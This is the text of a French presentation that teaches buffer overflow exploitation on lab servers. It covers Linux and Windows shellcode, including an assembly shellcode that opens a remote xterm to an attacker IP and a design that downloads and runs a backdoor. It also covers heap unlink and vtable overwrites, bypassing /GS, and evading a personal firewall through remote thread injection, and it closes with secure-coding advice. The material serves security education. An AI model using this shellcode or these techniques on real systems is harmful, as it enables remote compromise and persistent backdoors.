Démonstrations pratiquesde buffer overflows
Ou la compromission d’un système par une simple erreur de programmation
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Introduction
Buffer overflows ne sont statistiquement pas les failles les plus exploitées.
Mais failles parmi les plus célèbres Célébrité vient de leur portée :
En terme de compromission de la machine vulnérable En terme de propagation au sein d’un réseau
Puissance des attaques virales sasser et msblast qui combinaient ces deux caractéristiques
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Introduction: principe des BOFs
Les buffer overflows, un principe simple et très connu
Zone reservéeDonnée Données
Adresses croissantes
Conséquences multiples: Modification du comportement Déni de service Exécution de code arbitraire
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Objectif de l’étude
Principe connu mais mécanismes rarement décortiqués
Possibilités réelles ? Difficultés rencontrées ? Objectif de cette étude:
Présenter des exemples concrets d’exploitation de buffer overflows pour donner un aperçu des réponses
Cadre: Exploitations de cas d’écoles et non de cas réels Mais exploitations de serveurs donc distantes But:
Par écrasement de zones mémoires, rediriger l’exécution vers un code injecté qui permettra l’ouverture d’un shell sur la machine distante.
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Plan
Rappels: stack et heap Exploitation sous Linux
Écriture d’un shellcode pour Linux Exploitation d’un Stack overflow avec shellcode before Exploitation d’un Heap Overflow
Exploitation sous Windows Écriture d’un shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual .net (option /GS) Corruption de VTABLES: Les limites de l’option /GS
Cas des équipements de filtrages L’injection de code: Contournement du firewall personnel
Conclusion
Rappels: Stack et Heap
Plan: Définitions Exemple pratique
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Définitions
Stack et Heap Stack (pile) = Variable locale, paramètres,… Heap (tas) = Allocation dynamique d’objets (malloc,
new) En mémoire
Stack
Heap
Adresses croissantes
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple pratique
Code appel de fonctionvoid myFunc(int param)
{
int local;
int *p=new char[50];
…
}
…
myFunc(10);
Param
Adresse retour
Entête fct
local
p
char [50]Retour: - restauration de la pile - instruction « ret »
Buffer overflow sous Linux
Plan: Écriture d’un shellcode pour Linux Exploitation d’un Stack overflow avec shellcode before Exploitation d’un Heap Overflow
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (1)
Définition « Shellcode »=> Code injecté, vers lequel l’exécution est redirigé et qui
effectue une opération compromettant le système (ici, ouverture de shell distant)
Injection de ce code dans la mémoire du processus attaqué peut se faire de différentes manières.
La plus classique: dans le buffer qui provoque le débordement.
Buffer envoyé:
Shellcode Redirection vers shellcode
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (2)
Dans notre cas: shellcode=xterm en export DISPLAY
xterm avec ENV: DISPLAY=@IP:0.0
Attaquant Service vulnérabl
e
BOF
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (3)
Code du shellcode (~80 bytes)jmp getaddrfunction:popl %ebx /* Recupere adresse de la commande */xor %eax, %eax movb %al, 0x14(%ebx)movb %al, 0x30(%ebx) pushl %eax /* push NULL */lea 0x15(%ebx), %ecxpushl %ecx /* push @ variable d'env DISPLAY */movl %esp, %edx /* Load @ tableau env dans edx */pushl %eax /* push NULL */pushl %ebx /* push @ de la commande */movl %esp, %ecx /* Load @ tableau dans ecx */ movb $0xb, %alint $0x80getaddr:call function.shell_string:.string \"/usr/X11R6/bin/xtermXDISPLAY=192.168.000.002:0.0X\"/* le X a remplacer par un 0 */
Gestion de la relocalisation
Remplace X par \0
Utilisation de int pour exécution
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Stack overflow (1) Présentation du serveur
Serveur écoute sur le port 1500 Affiche la chaîne renvoyée précédée de
« Message from remote client : »
void printMsg(char *szBuffer){
char szMsg[MAX_MSG];
sprintf(szMsg, "Message from remote client :%s\n", szBuffer);printf(szMsg);
}int main (int argc, char *argv[]){…
while((n = read(newSocketfd, szBuffer, MAX_MSG)) > 0){
printMsg(szBuffer);}
…}
MAX_MSG < strlen(Message…\n)+ MAX_MSG
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Stack overflow (2)
Principe de l’exploitation
@ szBuffer
@ retour
ebp
szMsgsprintf
@ szBuffer
Données
@ retour
ebp
Écrase @retour
=> Quelle est la structure des données envoyées ?
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
@ szBuffer
Adresse retour
ebp
szMsg
Exemple de Stack overflow (3)
Structure des données envoyées
NOP
SHELLCODE
@ szMsg
ret
Taille du shellcode limitée Pas d’octets nul @ buffer inconnue
Démo stack overflow
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Problèmes des Heap Overflow
Débordement de buffer dans des zones allouées dynamiquement possible, mais exploitabilité ?
Exploitation de stack overflow facile car stack contient une zone mémoire chargée dans eip
Mais ce n’est pas le cas de heap (sauf cas particuliers) => Exploitation impossible ?
Illustration de la technique de la macro UNLINK décrite par Solar Designer
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
L’algorithme de Doug Lea (1)
Portions de mémoires allouées gérées dans des chunks
prev_size
size
data
prev_size
…
chunk N
prev_size
size
prev_size
…
free
FD
BK
chunk N+1
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
L’algorithme de Doug Lea (2)
Lors de la libération: Test si chunk suivant libre Si libre, l’enlève de la liste doublement chaînée. Concatène les deux chunks
Pour enlever le bloc de la liste chaînée l’algorithme utilise la macro UNLINK:
#define unlink( P, BK, FD ) { \
BK = P->bk; \ [1]
FD = P->fd; \ [2]
FD->bk = BK; \ [3]
BK->fd = FD; \ [4]
}
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Le débordement: principe
En cas de débordement:
prev_size
size
data
prev_size
size
data
chunk N
chunk N+1
prev_size
size
data
prev_size
size
data
sprintf
Ecrasement duchunk N+1
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Le débordement: exploitation
Lors de l’appel à free sur chunk N, si chunk N+1 libre, appel de UNLINK#define unlink( P, BK, FD ) { \
BK = P->bk; \ [1]
FD = P->fd; \ [2]
FD->bk = BK; \ [3]
BK->fd = FD; \ [4]
}
Or valeur de FD et BK contrôlé car pointeurs écrasés => Possibilité d’écriture d’un DWORD de notre choix à l’adresse de notre choix
En pratique, écrasement d’une adresse de fonction dans le GOT avec l’adresse de notre buffer
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Heap Overflow (1)
Présentation du serveurSimple serveur accepte commande login, note le nom utilisateur et des infos sur la connexion.
Codetypedef struct
{
time_t connectTime;
} CONNEXION;
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Heap Overflow (2)
void processData(int newSocketfd, char *szBuffer)
{
char *p;
CONNEXION *c;
if(szBuffer[0] == CMD_USER) // La commande recu est un login
{
// Alloue un buffer de taille SZ_USERNAME et une structure CONNEXION
p=(char *) malloc(SZ_USERNAME*sizeof(char));
c=(CONNEXION *) malloc(sizeof(CONNEXION));
// Rempli les structures
c->connectTime=time();
sprintf(p,"%s login\n", &szBuffer[1]);
// Renvoie la reponse au client
if(write(newSocketfd, p, strlen(p)) < 0)
error("ERROR writing to socket");
// Libere la memoire
free(p);
free(c);
}
200 < 1500
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Principe de l’exploitation
Avant sprintf
prev_size size data prev_size size data
prev_size size data fake p_sfake size dataFD BK
Après sprintf
Après free(p)
prev_size size data fake p_s 0xfffffffc dataFD BKFD BK
@ malloc
@ exit
@ free
GOT:
Appel de free(c) => saut dans shellcode
Démo heap overflow
Exploitation sous Windows
Plan: Écriture d’un shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual .net (option /GS) Corruption de VTABLES: Les limites de l’option /GS L’injection de code: Contournement du firewall personnel
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Introduction
Buffer overflow sous Windows sujet moins couvert par documentation sur Internet
Pourtant, Msblast ou Sasser montre l’importance et la gravité du phénomène
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (1)
Sous Linux, écriture de shellcode très facile: Lancement d’un programme via instruction INT 80h Programmes orientés réseau (xterm en remote display)
Sous Windows: API « INT 2Eh » très limitée. Implications
=> Nécessité d’utiliser des API de plus haut niveaux (DLL)
=> Nécessité de charger les DLL=> Nécessité d’accéder à certaines fonctions (LoadLibrary)=> Nécessité d’avoir l’adresse de kernel32.dll
Problèmes: Adresse de kernel32.dll varie d’une version à une autre Taille du code augmente considérablement
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (2)
Deux contraintes: Shellcode doit être capable de retrouver @ de
kernel32.dll Shellcode doit rester de taille raisonnable
Principe du shellcode Récupération de l’adresse de kernel32.dll (PEB) Récupération de l’adresse de GetProcAdress() (Parse
export directory) Appel de GetProcAdress(@kernel32.dll,
"LoadLibrary") Appel de LoadLibrary("urlmon.dll") Appel de GetProcAdress(@urlmon.dll,
"URLDownloadToFile") Contact faux serveur web et télécharge BackDoor Exécute la BackDoor
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (3)
Principe de l’exécution du shellcode
Attaquant Service vulnérabl
e
BOF
Fake web server
backdoor(a.exe)
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Stack Overflow
Présentation du serveurint vulnFunc(SOCKET clientSocket, char *msg)
{
char answer[BUFFER_SIZE];
char *p;
int i;
bzero(answer);
p=msg;
i=0;
while((msg[i] != ' ') && (i<BUFFER_SIZE))
i ++;
if(msg[i] != ' ')
return -1;
sprintf(answer, "Welcome to ghorg0re/3ey's server %s\r\n", &msg[i+1]);
if(send(clientSocket, answer, strlen(answer), 0) == SOCKET_ERROR)
return -1;
return 0;
}
BUFFER_SIZE < strlen(Welcome…)+ BUFFER_SIZE
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Cas de Visual 6.0: Option /GZ
Sans option /GZ Avec option /GZ 00401170 push ebp
00401171 mov ebp,esp
00401173 sub esp,1D8h
00401179 push ebx
0040117A push esi
0040117B push edi
...
00401170 push ebp
00401171 mov ebp,esp
00401173 sub esp,1D8h
00401179 push ebx
0040117A push esi
0040117B push edi
0040117C lea edi,[ebp-1D8h]
00401182 mov ecx,76h
00401187 mov eax,0CCCCCCCCh
0040118C rep stos dword ptr [edi]
...
...
00401239 pop edi
0040123A pop esi
0040123B pop ebx
0040123C mov esp,ebp
0040123E pop ebp
0040123F ret
...
0040124B pop edi
0040124C pop esi
0040124D pop ebx
0040124E add esp,1D8h
00401254 cmp ebp,esp
00401256 call __chkesp (00401680)
0040125B mov esp,ebp
0040125D pop ebp
0040125E ret
Démo stack overflow
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Cas de Visual .net: Option /GS
Header de la fonction00411C70 push ebp
00411C71 mov ebp,esp
00411C73 sub esp,274h
00411C79 push ebx
00411C7A push esi
00411C7B push edi
00411C7C lea edi,[ebp-274h]
00411C82 mov ecx,9Dh
00411C87 mov eax,0CCCCCCCCh
00411C8C rep stos dword ptr [edi]
00411C8E mov eax,dword ptr [___security_cookie]
00411C93 mov dword ptr [ebp-4],eax
i
p
answer
security_cookie
ebp
@ret
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Cas de Visual .net: Option /GS
Fin de la fonction00411D53 push edx
00411D54 mov ecx,ebp
00411D56 push eax
00411D57 lea edx,ds:[411D80h]
00411D5D call @ILT+430(@_RTC_CheckStackVars@8) (4111B3h)
00411D62 pop eax
00411D63 pop edx
00411D64 mov ecx,dword ptr [ebp-4]
00411D67 call @ILT+140(@__security_check_cookie@4) (411091h)
00411D6C pop edi
00411D6D pop esi
00411D6E pop ebx
00411D6F add esp,274h
00411D75 cmp ebp,esp
00411D77 call @ILT+995(__RTC_CheckEsp) (4113E8h)
00411D7C mov esp,ebp
00411D7E pop ebp
00411D7F ret
Démo stack overflow
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Rappel sur les VTABLES (1)
Exemple de statique code
=> Génération de code statique pour l‘appel
Déclaration Appelclass Message
{
private:
int iType;
public:
void setiType(int value);
};
void Message::setiType(int value)
{
iType = value;
}
Message message;
Message message2;
message.setiType(0);
00411E2E push 0
00411E30 lea ecx,[message]
00411E36 call Message::setiType (411569h)
message2.setiType(0);
00411E3B push 0
00411E3D lea ecx,[message2]
00411E43 call Message::setiType (411569h)
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Rappel sur les VTABLES (2)
Limites de la compilation statique=> Utilise les fonctions virtuelles résolues à
l’exécution En mémoire
Pointeur table virtuelle
Membres
@ Func 1
@ Func 2
@ Func 3Objet
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Rappel sur les VTABLES (3)
Exemple de code dynamiqueDéclaration Appel
class Connexion
{
char szUser[SZ_USER];
char szData[SZ_DATA];
public:
Connexion(void);
virtual void setszUser (char *szInput);
virtual char *getszUser(void);
};
; Appel de setszUser
00411E7A mov ecx,dword ptr [pConnexion]
00411E7D mov edx,dword ptr [ecx]
00411E82 call dword ptr [edx]
; Appel de getszUser
00411E7A mov ecx,dword ptr [pConnexion]
00411E7D mov edx,dword ptr [ecx]
00411E82 call dword ptr [edx+4]
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Conséquences
Le Heap contient ici un pointeur vers une table de fonctions => Redirection du flux d’exécution possible
Avantage: Redirection se fait lors appel à une fonction membre de l’objet 2 => Avant toutes vérifications
Inconvénient: On écrase un pointeur d’adresses
@ table virtuelle
szBuffer
@ table virtuelleint aint b
sprintf
@ table virtuelle
szBuffer
@ table virtuelleint aint b
Objet 1
Objet 2
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Heap Overflow (1)
Code du serveurclass Connexion
{
char szUser[SZ_USER];
char szData[SZ_DATA];
public:
Connexion(void) {bzero(szData);bzero(szUser);};
virtual void setszUser(char *szInput){sprintf(szUser, "USER=%s", szInput);};
virtual char *getszUser(void){return szUser;};
virtual void setszData(char *szInput){sprintf(szData, "DATA=%s", szInput);};
virtual char *getszData(void){return szData;};
};
class LogData
{
public:
virtual void logszData (char *szData) {printf("[TRACE] %s\n", szData);};
};
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Heap Overflow (2)
Code du serveurint processData(SOCKET clientSocket, Connexion *pConnexion, LogData *pLogData, char
*szData){
char msgToLog[SZ_LOG];
if(szData[0] == CODE_USER){
pConnexion->setszUser(&szData[1]);sprintf(msgToLog, "Login user: %s",pConnexion->getszUser());if(send(clientSocket, MSG_USER, strlen(MSG_USER), 0) == SOCKET_ERROR)
return -1;}else if(szData[0] == CODE_DATA){
pConnexion->setszData(&szData[1]);sprintf(msgToLog, "Data sent: %s",pConnexion->getszData());if(send(clientSocket, MSG_DATA, strlen(MSG_DATA), 0) == SOCKET_ERROR)
return -1;} pLogData->logszData(msgToLog);
return 0;
}
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Heap Overflow (3)
En mémoire:
@ table virtuelle
szUser
@ table virtuelle
pConnexion
pLogData
szDataSHELLCODE
@szData
Exploitation en deux temps: Envoi d’un faux user pour constituer @szData Ecrasement de la VTABLES de pLogData avec
@szUser
Démo heap overflow
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Conclusion partie Windows
Étude montre les difficultés d’écriture de shellcode sous Windows
Mais l’exploitation de cas d’école reste aisée L’option /GS permet d’éviter l’exploitation de
stack overflow simples, mais n’est pas une protection inviolable
Contournement deséquipements de filtrages
Plan: Concepts La protection par FW personnel
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Concepts (1)
Exemples précédents ne présentent pas le problème de la communication entre attaquant – backdoor
Cas de Linux:
AttaquantServeur X
Serveur vulnérable
xterm avec ENV: DISPLAY=@IP:0.0
FireWall
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Concepts (2)
Cas de Windows
Attaquant Service vulnérabl
eFake web server
Proxy+
Authent
=> Il faut savoir adapter le shellcode à l’architecture du réseau ciblé.
A priori, si serveur autorisé connecté à Internet, contournement sera toujours possible
BOF
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
La protection par FW personnel
Concept: FW personnel Application filtrant le trafic entrant et sortant d’une
machine Gère le contrôle d’accès via le concept d’applications:
Deux modes sont distingués: client ou serveurPour chaque mode, une application peut soit être autorisée, soit interdite, soit inconnue.
Une application inconnue de peut pas accéder à Internet=> Détection de notrebackdoor
Calcul de checksum empêche simple remplacement=> Le FW personnel est-il la solution miracle anti-backdoor ?
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Contournement du FW personnel (1)
Problème est que la gestion des accès se fait au niveau processus et non au niveau du thread
Or Windows offre la possibilité de créer des threads dans une application distante
Technique qui devient très courante. Utilise les fonctions:
VirtualAllocEx WriteProcessMemory CreateRemoteThread
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Contournement du FW personnel (2)
Principe du contournement: Téléchargement de la backdoor (a.exe) et exécution La backdoor ouvre le processus serveur et injecte du
code La backdoor créé un thread executant le code injecté
dans le processus serveur Le code injecté ouvre une socket en mode serveur,
opération permise par le FW car le processus serveur est autorisée à ouvrir ce type de socket
Problèmes rencontrés: Code injecté doit être relocalisable, retrouver adresse
des fonctions,… Même techniques que pour le shellcode
Le processus serveur ne doit pas planter=> Retour à l’exécution normale ou utilisation d’un Sleep
Démo heap overflow / FW
Conclusion générale
-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Conclusion générale Étude présente des cas concrets d’exploitation Lorsqu’il y a débordement de buffer, les possibilités
d’exploitations sont multiples Il existe de très nombreuses protections opérants à des niveaux
différents : Au niveau du réseau, les équipements de filtrage. Au niveau système, les protections comme chroot ou la
gestion des droits de l’utilisateur d’exécution du serveur. Au niveau logiciel, les protections comme l’option /GS ou des
produits comme StackGuard Ideal = Défense en profondeur LA solution reste l’écriture de code sécurisé:
Évitez les fonctions dangereuses (sprintf,strcpy,memcpy,…) Faites attention aux erreurs off-by-one Vérifiez les boucles qui remplissent des tableaux Utilisez les types managés sous WindowsNe JAMAIS se fier aux données envoyées par l’utilisateur
Questions / Remarques
Top Related